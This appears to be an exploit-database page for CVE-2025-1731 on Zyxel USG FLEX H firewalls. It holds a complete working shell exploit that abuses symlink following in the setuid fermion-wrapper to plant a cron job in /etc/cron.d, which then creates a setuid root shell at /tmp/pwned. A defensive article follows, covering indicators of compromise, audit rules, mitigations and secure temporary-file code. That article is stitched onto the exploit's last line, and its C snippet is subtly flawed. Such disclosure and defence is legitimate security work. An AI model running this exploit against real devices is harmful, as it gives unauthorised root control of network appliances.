Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation
# Exploit Title: Zyxel USG FLEX H series uOS 1.31 - Privilege Escalation
# Date: 2025-04-23
# Exploit Author: Marco Ivaldi
# Vendor Homepage: https://www.zyxel.com/
# Version: Zyxel uOS V1.31 (see
https://www.zyxel.com/global/en/support/security-advisories/zyxel-security-=
=3D
advisory-for-incorrect-permission-assignment-and-improper-privilege-managem=
=3D
ent-vulnerabilities-in-usg-flex-h-series-firewalls-04-22-2025)
# Tested on: Zyxel FLEX100H with Firmware V1.31(ABXF.0) and Zyxel
FLEX200H with Firmware V1.31(ABWV.0)
# CVE: CVE-2025-1731
#!/bin/sh
#
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# "So we wait, this is our labour... we wait."
# -- Anthony Swofford on fuzzing
#
# The setuid root binary program `/usr/sbin/fermion-wrapper` distributed by
# Zyxel with some of their appliances follows symbolic links in the `/tmp`
# directory when run with the `register-status` argument. This allows local
# users with access to a Linux OS shell to trick the program into creating
# writable files at arbitrary locations in the filesystem. This vulnerability
# can be exploited to overwrite arbitrary files or locally escalate privileges
# from low-privileged user (e.g., `postgres`) to root.
#
# Note: the `/tmp` directory doesn't have the sticky bit set, which simplifies
# exploitation of this vulnerability and may also cause all sorts of havoc.
#
# ## Vulnerability information
#
# * CVE ID - CVE-2025-1731
# * High - 7.8 - CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
# * CWE-61 - https://cwe.mitre.org/data/definitions/61.html
#
# ## Relevant links
#
# * https://github.com/hnsecurity/vulns/blob/main/HNS-2025-10-zyxel-fermion.txt
# * https://security.humanativaspa.it/local-privilege-escalation-on-zyxel-usg-flex-h-series-cve-2025-1731
# * https://0xdeadc0de.xyz/blog/cve-2025-1731_cve-2025-1732
# * https://security.humanativaspa.it/tag/zyxel/
#
# ## Usage example
#
# ```
# $ ./raptor_fermion
# raptor_fermion - Zyxel fermion-wrapper root LPE exploit
# Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>
#
# [*] Exploiting /usr/sbin/fermion-wrapper
# $ uname -a
# Linux FLEX100H-HackerHood 4.14.207-10.3.7.0-2 #5 SMP PREEMPT Thu Jan 9 04:34:58 UTC 2025 aarch64 GNU/Linux
# $ id
# uid=502(postgres) gid=502(postgres) groups=502(postgres)
# $ ls -l /usr/sbin/fermion-wrapper
# -rwsr-xr-x 1 root root 44288 Jan 9 05:34 /usr/sbin/fermion-wrapper
# {"status": 0, "registered": 1, "nebula_registered": 1, "bundle": 1}
#
# [+] Everything looks good \o/, wait an hour and check /tmp/pwned
# $ ls -l /etc/cron.d/runme
# -rw-rw-rw- 1 root postgres 79 Feb 14 15:52 /etc/cron.d/runme
# $ cat /etc/cron.d/runme
# * * * * * cp /bin/sh /tmp/pwned; chmod 4755 /tmp/pwned; rm /etc/cron.d/runme
#
# [+] Run the shell as follows to bypass bash checks: /tmp/pwned -p
#
# [about one hour later...]
#
# $ ls -l /tmp/pwned
# -rwsr-xr-x 1 root root 916608 Feb 14 16:25 /tmp/pwned
# $ /tmp/pwned -p
# # id
# uid=502(postgres) gid=502(postgres) euid=0(root) groups=502(postgres)
# # R00t D4nc3!!!111! \o/
# ```
#
# ## Tested on
#
# * Zyxel FLEX100H with Firmware V1.31(ABXF.0) | 2025-01-09 04:35:47
# * Zyxel FLEX200H with Firmware V1.31(ABWV.0) | 2025-01-09 05:11:31
#
# *Note: other products and firmware versions may also be vulnerable.*
#
# ## Special thanks
#
# * Alessandro Sgreccia (@rainpwn) of HackerHood for his research and devices
#
echo "raptor_fermion - Zyxel fermion-wrapper root LPE exploit"
echo "Copyright (c) 2025 Marco Ivaldi <raptor@0xdeadbeef.info>"
echo
target="/usr/sbin/fermion-wrapper"
tmpfile="/tmp/register_status"
runme="/etc/cron.d/runme"
shell="/tmp/pwned"
echo "[*] Exploiting $target"
echo "$ uname -a"
uname -a
echo "$ id"
id
echo "$ ls -l $target"
ls -l $target
umask 0
rm $tmpfile
ln -s $runme /tmp/register_status
$target register-status
echo "* * * * * cp /bin/sh $shell; chmod 4755 $shell; rm $runme" > $runme
if [ "`cat $runme 2>/dev/null`" = "" ]; then
echo "[!] Error: something went wrong ¯\\_(ツ)_/¯"
exit 1
fi
echo
echo "[+] Everything looks good \\o/, wait an hour and check $shell"
echo "$ ls -l $runme"
ls -l $runme
echo "$ cat $runme"
cat $runme
echo
echo "[+] Run the shell as follows to bypass bash checks: $shell -p"
echo Zyxel USG FLEX H series uOS 1.31 — Privilege Escalation (CVE-2025-1731)
This article explains the root cause, impact, detection, and mitigation for CVE-2025-1731 — a local privilege escalation issue affecting certain Zyxel USG FLEX H series devices running uOS V1.31. The goal is to give system owners, administrators, and defenders high‑quality, actionable defensive guidance without providing exploit recipes.
Summary
In affected firmware, a setuid root helper binary follows symbolic links in an unsecured temporary location when invoked with a particular argument. Because /tmp lacked the sticky bit and low‑privileged local accounts could write there, an attacker with a local shell could leverage predictable file creation and symlink races to place writable files at arbitrary paths (for example, in /etc/cron.d). That chain can be used to achieve root privileges locally. Vendor advisory and CVE: CVE-2025-1731.
| Item | Details |
|---|---|
| CVE | CVE-2025-1731 |
| Severity | High (CVSS v3.1 7.8 — Local Attack, Low Complexity) |
| Root cause (high level) | Unsafe handling of temporary files (symlink following) by a setuid root binary; writable, non‑sticky /tmp; improper privilege/permission management. |
| Affected | USG FLEX H series running uOS V1.31 (confirmed on FLEX100H, FLEX200H builds listed in vendor advisory). See vendor advisory for official list of impacted builds. |
High‑level technical explanation (non‑actionable)
The vulnerable binary runs with elevated privileges (setuid root) and performs operations that create or manipulate files in /tmp without protections against symlink attacks (for example, not using O_NOFOLLOW/O_EXCL or not checking that a temporary path is a regular file owned by the process after creation). Because /tmp was writable and lacked the sticky bit, local, low‑privilege users could replace or point temporary file names at critical system paths (for example files in /etc/cron.d) and thus cause the privileged binary to create or overwrite files in protected locations. Those overwritten files could then be used to run arbitrary code as root (for instance, a cron job creating a setuid shell).
Impact
- Local privilege escalation: a local low‑privileged account that already has shell access on the device can obtain root.
- Potential persistence and system compromise via modification of cron, init scripts or creation of setuid binaries.
- Loss of confidentiality, integrity and availability on affected devices.
Indicators of Compromise (IoCs) & Detection
- Unexpected files or cron entries in /etc/cron.d or other system init locations that were recently created/modified by non‑root users.
- Presence of unknown setuid binaries in /tmp or other writable locations (e.g., files with mode 4755 not normally present).
- Execution records for the privileged helper (check command‑line or audit logs) indicating it was invoked with unusual arguments.
- Authentication and shell logs showing local users with unusual activity or escalation attempts.
Example detection rules (defensive only):
# Audit execution of the privileged helper and flag use
auditctl -w /usr/sbin/fermion-wrapper -p x -k fermion_wrapper_exec
# Watch for creation of new setuid files under /tmp (log only)
auditctl -a always,exit -F dir=/tmp -F perm=wa -k tmp_write
Explanation: the first rule records executions of the specific helper binary (adjust path/name to match your device). The second monitors write activity in /tmp to detect unexpected file creation. Use your platform's audit, EDR, or syslog capabilities; adjust policies to avoid excessive noise. These rules are defensive and intended for monitoring, not exploitation.
Short‑term mitigations (immediate, defensive)
- Apply vendor patches immediately. The primary mitigation is to install Zyxel's official firmware patch or hotfix for affected models as released in the vendor advisory.
- Restrict local user access: disable or limit shell and console access for accounts that do not require it (for example, services accounts such as postgres or other app accounts).
- Harden /tmp: ensure /tmp has the sticky bit set (mode 1777) so that users cannot remove or rename other users' files. Example (admin action):
chmod 1777 /tmp. - Correct file permissions on critical directories and files (e.g., /etc/cron.d should be root‑owned and not world‑writable). Review file ownership and modes and restore appropriate values.
- Consider removing the setuid bit from the helper if you can accept functional impact until a patch is applied:
chmod u-s /usr/sbin/fermion-wrapper. Test impact on services before deploying widely.
Note: The above commands are administrative remediation steps; validate on a test device before mass rollout and coordinate with vendor guidance.
Long‑term mitigations and hardening
- Enforce least privilege for local service accounts (don't allow shell access for accounts that do not need it).
- Enable and tune host-based integrity monitoring (FIM) for critical system paths (for example, /etc, /usr/sbin, /tmp) and alert on mode/owner changes and new setuid files.
- Harden temporary file creation in native code: require use of secure APIs (mkstemp, O_EXCL|O_NOFOLLOW, openat with proper flags) and validate ownership and file type after creation.
- Adopt secure configuration management for OS/platform images and ensure periodic firmware updates.
Secure coding snippet: safe temporary file creation (illustrative)
/* C example (conceptual): open a temporary file safely using O_CREAT|O_EXCL|O_NOFOLLOW */#include <fcntl.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int create_temp_safe(const char *dir, char *template) {
char path[PATH_MAX];
snprintf(path, sizeof(path), "%s/%s", dir, template); // template must contain X's from mkstemp
int fd = open(path, O_RDWR | O_CREAT | O_EXCL | O_NOFOLLOW, 0600);
if (fd == -1) {
perror("open");
return -1;
}
/* Additional checks: fstat to ensure regular file, fchown/fchmod if needed */ return fd;
}
Explanation: this illustrative C snippet demonstrates creating a temporary file with flags that avoid following symlinks (O_NOFOLLOW) and avoid races (O_EXCL). Production code should also check the return values, validate the created file is a regular file, and restrict ownership and mode appropriately. Use platform APIs (mkstemp, openat) designed for secure temporary file handling.
Safe temporary file creation in Python (recommended for scripts)
import tempfile
# Create a temporary file in a safe manner; the file is created atomically.
with tempfile.NamedTemporaryFile(dir='/tmp', delete=False) as f:
filename = f.name
f.write(b"example")
# set strict permissions if needed
import os
os.chmod(filename, 0o600)
Explanation: Python's tempfile module uses secure system calls (mkstemp) to create temporary files without predictable name races. After creation, adjust ownership and permissions as required.
Incident response checklist
- Quarantine the device from untrusted networks if compromise is suspected.
- Collect volatile artifacts: process lists, open network connections, running cron jobs, /tmp contents, audit logs, and system logs.
- Search for recent additions to /etc/cron.d and unexpected SUID binaries (find / -perm -4000 -type f).
- Restore from known good backups if root compromise is confirmed, and rebuild the device firmware using vendor‑provided images.
- Rotate credentials and secrets that were stored or accessible on the device; assume local root compromise may have exposed secrets.
References and resources
- Vendor advisory (official): check Zyxel security advisory page for the full advisory and firmware updates.
- CVE: CVE-2025-1731 (reference for tracking).
- Secure temporary file handling: documentation for mkstemp, open(2) flags (O_NOFOLLOW, O_EXCL), and platform audit subsystems.
Final recommendations
- Prioritize installing the vendor patch or upgraded firmware from Zyxel.
- Until patched, apply short‑term mitigations: restrict local accounts, enforce sticky bit on /tmp, and monitor for IOCs.
- Review software that runs setuid and ensure it follows secure file handling patterns; add auditing and FIM to detect anomalous changes.